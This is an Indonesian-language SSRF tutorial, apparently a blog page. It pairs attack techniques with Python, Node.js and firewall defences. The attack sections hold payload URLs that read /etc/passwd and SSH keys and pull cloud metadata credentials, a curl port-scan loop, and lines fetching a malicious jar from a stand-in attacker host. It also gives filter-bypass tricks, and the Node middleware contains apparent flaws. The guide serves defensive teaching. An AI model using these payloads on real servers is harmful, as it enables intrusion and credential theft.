Tutorial lengkap SSRF — memahami mekanisme serangan, teknik bypass filter, studi kasus CVE terkenal, hingga arsitektur pencegahan komprehensif untuk aplikasi web modern
SSRF (Server-Side Request Forgery) adalah jenis serangan keamanan web di mana penyerang memanipulasi aplikasi web agar mengirimkan request HTTP yang tidak diinginkan ke server internal maupun eksternal. Serangan ini memanfaatkan kepercayaan antara server dan resource internalnya, menjadikannya salah satu kerentanan paling berbahaya dalam kategori OWASP Top 10.
Pada dasarnya, SSRF terjadi ketika aplikasi menerima URL dari user input dan menggunakannya untuk membuat request jaringan tanpa validasi yang memadai. Penyerang dapat menggunakan aplikasi tersebut sebagai proxy untuk mengakses resource internal, melakukan port scanning, atau bahkan melakukan remote code execution (RCE) dalam kasus tertentu.
Mengapa SSRF Berbahaya?
Faktor Risiko
Penjelasan
Akses Internal
Server dapat mengakses layanan internal yang tidak terlihat dari internet
Bypass Firewall
Request dari dalam jaringan sering kali melewati firewall dan aturan keamanan
Cloud Metadata
Mengakses metadata cloud provider (AWS, GCP, Azure) untuk mencuri kredensial
Pivot Point
SSRF bisa menjadi titik awal untuk serangan lateral movement
RCE
Dalam kondisi tertentu, SSRF dapat meningkat menjadi Remote Code Execution
Data Exfiltration
Mencuri data sensitif dari layanan internal yang rentan
⚠️ Peringatan
Artikel ini ditulis untuk tujuan edukasi dan pencegahan. Selalu dapatkan izin tertulis sebelum melakukan testing terhadap sistem yang bukan milik Anda. Penggunaan teknik SSRF untuk aktivitas ilegal adalah pelanggaran hukum.
Diagram: Alur Dasar SSRF
PENYERANG (Attacker) Mengirim URL palsu
APLIKASI WEB (Vulnerable) Tanpa validasi URL
SERVER TARGET (Internal/Ext) 169.254.169.254
1
2
3
4
/"Data sensitif dikirim kembali ke attacker Attac..."/
2. Mekanisme Serangan SSRF
Untuk memahami SSRF secara mendalam, kita perlu memahami bagaimana aplikasi web biasanya berinteraksi dengan URL yang diberikan oleh user. Setiap kali aplikasi membuat request HTTP berdasarkan input user, ada potensi SSRF jika validasi tidak dilakukan dengan benar.
2.1 Alur Umum Serangan
Diagram: SSRF dalam Arsitektur Microservices
SSRF dalam Arsitektur Microservices
3. Jenis-Jenis SSRF
3.1 SSRF Dasar (Basic SSRF)
SSRF dasar terjadi ketika penyerang dapat mengarahkan server untuk membuat request ke URL yang dipilih oleh penyerang. Response dari server tersebut kemudian dikembalikan ke penyerang.
Diagram: Kronologi Capital One Breach
Kronologi Capital One Breach
6. Teknik Serangan SSRF
6.1 Port Scanning via SSRF
Penyerang dapat menggunakan SSRF untuk memindai port pada server internal. Response time atau error message yang berbeda-beda dapat mengindikasikan status port.
Port Scanning via SSRF
# Port Scanning menggunakan response time analysis
# Port terbuka: connection berhasil, response time normal
# Port tertutup: connection refused, error cepat
# Port ter-filter: timeout (biasanya 10-30 detik)
# Scan port umum di server internal
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
echo "Scanning port $port..."
curl -s -o /dev/null -w "Port $port: %{time_total}s\n" \
"https://app.com/fetch?url=http://192.168.1.10:$port/" \
--max-time 5
done
# Contoh output:
# Port 22: timeout (filtered)
# Port 80: 0.045s (open - HTTP)
# Port 443: 0.052s (open - HTTPS)
# Port 3306: timeout (filtered)
# Port 8080: 0.038s (open - internal admin)
# Port 6379: timeout (filtered)
6.2 File Read via Protocol Handlers
File Read via SSRF Protocol Handlers
# Berbagai protocol handler yang bisa dimanfaatkan:
# file:// — Membaca file lokal
https://app.com/fetch?url=file:///etc/passwd
https://app.com/fetch?url=file:///proc/self/environ
https://app.com/fetch?url=file:///proc/self/cmdline
https://app.com/fetch?url=file:///root/.ssh/id_rsa
# dict:// — Menggunakan DICT protocol
https://app.com/fetch?url=dict://redis:6379/info
# gopher:// — Raw TCP (sangat powerful!)
https://app.com/fetch?url=gopher://redis:6379/_*1%0d%0a$8%0d%0aredis-cmd%0d%0a
# tftp:// — Trivial File Transfer Protocol
https://app.com/fetch?url=tftp://attacker.com/file
# ldap:// — Lightweight Directory Access Protocol
https://app.com/fetch?url=ldap://ldap-server:389/
# jar:// — Java Archive URL (untuk SSRF ke RCE di Java)
https://app.com/fetch?url=jar:http://attacker.com/malicious.jar!/exploit.class
6.3 SSRF ke Cloud Metadata
Cloud Metadata SSRF Attack
# === AWS (IMDSv1 — rentan) ===
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# === AWS (IMDSv2 — lebih aman, perlu token) ===
# Step 1: Get token
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token:
# === Google Cloud ===
http://metadata.google.internal/computeMetadata/v1/
?alt=json
Header: Metadata-Flavor: Google
# === Azure ===
http://169.254.169.254/metadata/instance?api-version=2021-02-01
?format=json
Header: Metadata: true
# === DigitalOcean ===
http://169.254.169.254/metadata/v1/
# === Kubernetes ===
https://kubernetes.default.svc/
https://kubernetes.default.svc:443/api/v1/namespaces/
# === Oracle Cloud ===
http://169.254.169.254/opc/v1/instance/
6.4 DNS Rebinding untuk SSRF
DNS Rebinding adalah teknik canggih yang memanfaatkan sistem DNS untuk mengubah resolved IP address antar request. Teknik ini sangat efektif untuk melewati whitelist yang berbasis hostname.
DNS Rebinding Attack Flow
# === Konsep DNS Rebinding ===
# 1. Attacker mendaftarkan domain: rebinding.attacker.com
# 2. DNS server attacker dikonfigurasi dengan TTL sangat rendah
# Request pertama (validasi oleh aplikasi):
# GET rebinding.attacker.com → 1.2.3.4 (IP attacker, VALID)
# TTL: 0 detik
# Request kedua (oleh aplikasi untuk fetch):
# GET rebinding.attacker.com → 169.254.169.254 (IP metadata, INTERNAL!)
# TTL: 0 detik
# === Tools untuk DNS Rebinding ===
# 1. rbndr.us — DNS rebinding service
# http://rbndr.us/-
# 2. Taviso's rbndr — Custom DNS server
# https://github.com/taviso/rbndr
# 3. Singularity — Framework lengkap untuk DNS rebinding
# https://github.com/nccgroup/singularity
# Contoh penggunaan:
# 1. Generate rebinding URL untuk AWS metadata
curl "http://rbndr.us/169.254.169.254"
# URL pertama → resolve ke IP attacker (memenuhi whitelist)
# URL kedua → resolve ke 169.254.169.254 (mengakses metadata)
# 2. Gunakan dalam serangan SSRF
https://app.com/fetch?url=http://rebind.attacker.com/
# Aplikasi memvalidasi URL → OK (resolve ke IP attacker)
# Aplikasi fetch URL → resolve ke metadata endpoint!
7. Bypass Filter & WAF
Sering kali, pengembang menerapkan berbagai filter untuk mencegah SSRF. Namun, filter yang tidak sempurna justru memberikan ilusi keamanan. Berikut teknik-teknik bypass yang perlu dipahami oleh security engineer untuk membangun defensi yang lebih kuat.
# === Jika aplikasi hanya mengizinkan URL dari domain tertentu ===
# 1. Gunakan URL redirector (bit.ly, t.co, dll.)
# yang redirect ke target internal
# Buat redirect: https://bit.ly/3xabc → http://169.254.169.254/
curl "https://app.com/fetch?url=https://bit.ly/3xabc"
# Aplikasi memvalidasi bit.ly (allowed) → fetch
# bit.ly redirect ke metadata endpoint!
# 2. Gunakan layanan redirect lain
# - http://tinyurl.com/create.php
# - https://is.gd/create.php
# - Short link dari link shortener yang dimiliki attacker
# 3. HTTP Redirect Server
# Buat server sederhana di attacker.com:
# GET /redirect → 302 Location: http://169.254.169.254/
curl "https://app.com/fetch?url=https://attacker.com/redirect"
# 4. Open Redirect di aplikasi lain
# https://app.com/logout?next=http://169.254.169.254/
# Jika app.com juga memiliki open redirect:
curl "https://app.com/fetch?url=https://app.com/logout?next=http://169.254.169.254/"
7.3 Bypass HTTPS Filter
Bypass Filter HTTPS
# === Jika aplikasi hanya mengizinkan HTTPS ===
# 1. Port trick — HTTPS di port HTTP
http://internal-target:443/
# Banyak server menerima HTTP di port 443
# 2. Redirect dari HTTP ke HTTPS
# Buat server yang redirect:
# http://attacker.com → 301 https://169.254.169.254/
# 3. SSL stripping atau cert bypass
# 4. Menggunakan self-signed certificate
# Jika aplikasi tidak memverifikasi SSL
# === Bypass filter yang memblokir URL dengan port ===
# Jika filter memblokir ":" dalam URL:
# Gunakan entitas HTML
http://internal:8080@external.com
http://external.com#http://internal:8080
https://external.com@internal:8080
7.4 Bypass with IPv6 and DNS
IPv6 dan DNS Bypass
# === IPv6 Bypass ===
# Filter mungkin hanya memblokir IPv4
http://[::]:80/ → 0.0.0.0
http://[::ffff:127.0.0.1]/ → 127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ → 127.0.0.1
http://[0000::1]/ → ::1 (loopback)
# === DNS Rebinding ===
# Membuat hostname yang resolve ke IP internal
# Setelah validasi, DNS berubah ke target internal
# === Subdomain to IP trick ===
# Buat subdomain yang resolve ke internal IP:
# evil.attacker.com → A record → 169.254.169.254
# Jika filter hanya memeriksa domain utama
curl "https://app.com/fetch?url=http://evil.attacker.com/"
Pencegahan SSRF memerlukan pendekatan berlapis (defense in depth). Tidak ada satu solusi tunggal yang bisa mencegah semua jenis SSRF. Berikut strategi pencegahan yang direkomendasikan:
8.1 Input Validation — Whitelist Approach
Python — Whitelist URL Validation
import ipaddress
import socket
import validators
from urllib.parse import urlparse
import struct
# ==========================================
# WHITELIST URL VALIDATION — Best Practice
# ==========================================
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['https']
BLOCKED_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('::1/128'),
ipaddress.ip_network('fc00::/7'),
ipaddress.ip_network('fe80::/10'),
]
def is_private_ip(ip_str):
"""Cek apakah IP termasuk range privat/internal"""
try:
ip = ipaddress.ip_address(ip_str)
for network in BLOCKED_RANGES:
if ip in network:
return True
return False
except ValueError:
return False
def resolve_and_validate(hostname):
"""Resolve DNS dan validasi IP hasil resolve"""
try:
# Gunakan getaddrinfo untuk resolve semua IP
addrinfos = socket.getaddrinfo(hostname, None)
for family, _, _, _, sockaddr in addrinfos:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_RANGES:
if ip in network:
raise ValueError(f"IP {ip} termasuk range privat!")
return True
except socket.gaierror:
raise ValueError(f"Gagal resolve hostname: {hostname}")
def validate_url(url):
"""Validasi URL lengkap — whitelist approach"""
# 1. Parse URL
parsed = urlparse(url)
# 2. Validasi scheme — hanya HTTPS
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Scheme '{parsed.scheme}' tidak diizinkan")
# 3. Validasi hostname — harus ada dan valid
if not parsed.hostname:
raise ValueError("Hostname tidak valid")
# 4. Whitelist domain
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError(f"Domain '{parsed.hostname}' tidak di whitelist")
# 5. Resolve DNS dan validasi IP
resolve_and_validate(parsed.hostname)
# 6. Validasi path (opsional — hindari path traversal)
if '..' in (parsed.path or ''):
raise ValueError("Path traversal terdeteksi")
return True
# Contoh penggunaan
try:
validate_url("https://api.example.com/data")
print("✅ URL valid!")
except ValueError as e:
print(f"❌ Error: {e}")
8.2 Network-Level Controls
Network Segmentation & Firewall Rules
# ==========================================
# NETWORK LEVEL DEFENSE
# ==========================================
# 1. Firewall Rules — Batasi akses dari web server
# Hanya izinkan akses ke service yang diperlukan
# iptables — Whitelist outbound traffic
iptables -A OUTPUT -p tcp --dport 443 -d api.example.com -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d cdn.example.com -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -d api.example.com -j ACCEPT
iptables -A OUTPUT -j DROP # Drop semua lainnya
# 2. Network Segmentation
# Pisahkan web server dari service internal
# Web server hanya bisa akses service tertentu di port tertentu
# 3. Egress Filtering
# Batasi outbound traffic dari web server
# Hanya izinkan ke IP/hostname yang diperlukan
# 4. DNS Sinkhole
# Redirect DNS internal ke sinkhole untuk mencegah
# akses ke metadata endpoint
# 5. Cloud Security Groups
# AWS Security Group: hanya izinkan outbound ke
# - API Gateway (port 443)
# - Database (port 5432, dari subnet tertentu saja)
# Block semua lainnya
# 6. IMDSv2 — Wajibkan token untuk metadata (AWS)
# Di AWS CLI:
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
8.3 Application-Level Prevention
Node.js — SSRF Prevention Middleware
const express = require('express');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
const app = express();
// ==========================================
// SSRF Prevention Middleware
// ==========================================
const BLOCKED_NETWORKS = [
ipaddr.parseCIDR('10.0.0.0/8'),
ipaddr.parseCIDR('172.16.0.0/12'),
ipaddr.parseCIDR('192.168.0.0/16'),
ipaddr.parseCIDR('127.0.0.0/8'),
ipaddr.parseCIDR('169.254.0.0/16'),
ipaddr.parseCIDR('::1/128'),
ipaddr.parseCIDR('fc00::/7'),
ipaddr.parseCIDR('fe80::/10'),
ipaddr.parseCIDR('0.0.0.0/8'),
];
function isBlockedIP(ipStr) {
try {
const addr = ipaddr.parse(ipStr);
for (const [network] of BLOCKED_NETWORKS) {
if (addr.match(network)) return true;
}
// Also block IPv4-mapped IPv6
if (addr.kind() === 'ipv6') {
const ipv4 = addr.toIPv4Address();
if (ipv4) {
return BLOCKED_NETWORKS.some(([n]) =>
ipaddr.parse(ipv4.toString()).match(n)
);
}
}
} catch (e) {}
return false;
}
async function ssrfProtection(req, res, next) {
const targetUrl = req.query.url || req.body.url;
if (!targetUrl) return next();
try {
const parsed = new URL(targetUrl);
// 1. Blokir scheme berbahaya
const blockedSchemes = ['file', 'gopher', 'dict', 'jar', 'netdoc', 'ftp', 'scp', 'smb'];
if (blockedSchemes.includes(parsed.protocol.replace(':', ''))) {
return res.status(403).json({ error: 'Schema tidak diizinkan' });
}
// 2. Hanya izinkan HTTP/HTTPS
if (!['http:', 'https:'].includes(parsed.protocol)) {
return res.status(403).json({ error: 'Hanya HTTP/HTTPS yang diizinkan' });
}
// 3. Resolve hostname
const hostname = parsed.hostname;
const addresses = await dns.resolve4(hostname);
// 4. Validasi resolved IP
for (const addr of addresses) {
if (isBlockedIP(addr)) {
return res.status(403).json({
error: 'URL mengarah ke IP internal/privat'
});
}
}
// 5. Re-validate setelah resolve (DNS rebinding protection)
// Simpan resolved IP untuk digunakan saat fetch
req._resolvedIP = addresses[0];
next();
} catch (err) {
return res.status(400).json({ error: 'URL tidak valid' });
}
}
// Gunakan middleware
app.use('/fetch', ssrfProtection);
// Fetch endpoint yang aman
const fetch = require('node-fetch');
app.get('/fetch', async (req, res) => {
try {
// Gunakan resolved IP, bukan hostname (anti DNS rebinding)
const targetUrl = new URL(req.query.url);
targetUrl.hostname = req._resolvedIP;
targetUrl.host = `${req._resolvedIP}:${targetUrl.port || 80}`;
const response = await fetch(targetUrl.toString(), {
timeout: 5000, // Timeout 5 detik
redirect: 'error', // Blokir redirect
headers: { 'Host': new URL(req.query.url).hostname }
});
res.json({
status: response.status,
body: (await response.text()).substring(0, 1000)
});
} catch (err) {
res.status(500).json({ error: 'Gagal mengambil URL' });
}
});
app.listen(3000, () => console.log('Server berjalan di port 3000'));
8.4 Ringkasan Pencegahan
Lapisan
Mitigasi
Prioritas
Input Validation
Whitelist domain & scheme yang diizinkan
🔴 Wajib
DNS Resolution
Resolve DNS terlebih dahulu, validasi IP hasil resolve